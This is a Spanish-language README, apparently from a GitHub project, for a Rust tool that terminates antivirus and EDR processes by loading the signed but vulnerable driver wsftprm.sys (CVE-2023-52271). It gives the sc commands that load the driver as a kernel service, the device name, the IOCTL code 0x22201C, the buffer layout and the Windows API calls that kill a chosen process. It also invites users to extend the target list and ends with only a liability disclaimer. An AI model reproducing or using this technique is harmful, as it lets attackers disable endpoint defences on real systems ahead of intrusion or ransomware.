
Terminación de procesos de AV/EDR mediante la explotación de un controlador vulnerable (BYOVD)
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
Este proyecto demuestra cómo un controlador legítimo y firmado puede ser armado para obtener acceso a nivel de kernel.
wsftprm.sys, firmado por TPZ SOLUCOES DIGITAIS LTDA, y previamente expuesto a una vulnerabilidad de escalada de privilegios local divulgada públicamente como CVE-2023-52271, pero de alguna manera todavía NO en la lista de bloqueo de controladores de Microsoft!! 🤫🤫
La vulnerabilidad se activa a través del código IOCTL 0x22201C con un búfer de 1036 bytes donde los primeros 4 bytes contienen el ID del proceso objetivo como DWORD. El controlador vulnerable, al recibir este IOCTL malicioso a través de DeviceIoControl, invoca la función importada ZwTerminateProcess, otorgando a cualquier aplicación de modo usuario capacidades de terminación de procesos a nivel de kernel.
Cualquier actor de amenazas sensato priorizará naturalmente esta capacidad para terminar procesos críticos de Antivirus (AV) y Detección y Respuesta en Endpoints (EDR).
Ejecute cmd.exe con privilegios de Administrador, y registre un servicio de controlador de kernel con tipo "kernel" y binPath apuntando a la ubicación del controlador vulnerable.
> sc create MalDriver binPath= <path> type= Kernel`
> sc start MalDriver
Una vez cargado, el controlador crea un enlace simbólico accesible en modo usuario como \.\Warsaw_PM. El cual podemos usar para obtener un identificador al dispositivo del controlador mediante la llamada API CreateFileW.
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
Para enviar los IOCTLs maliciosos usaremos DeviceIoControl con código 0x22201C, y un búfer que contenga un PID en sus primeros 4 bytes.
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
Cargo build --release para generar el binario.
Puede agregar procesos adicionales a la lista de objetivos para su terminación.
Usted es responsable de asegurarse de tener la autorización adecuada antes de usar esta herramienta. El autor no asume ninguna responsabilidad por el mal uso.
¡Las contribuciones y sugerencias son bienvenidas! Si tienes ideas, mejoras o te gustaría colaborar, no dudes en contactar a: [email protected]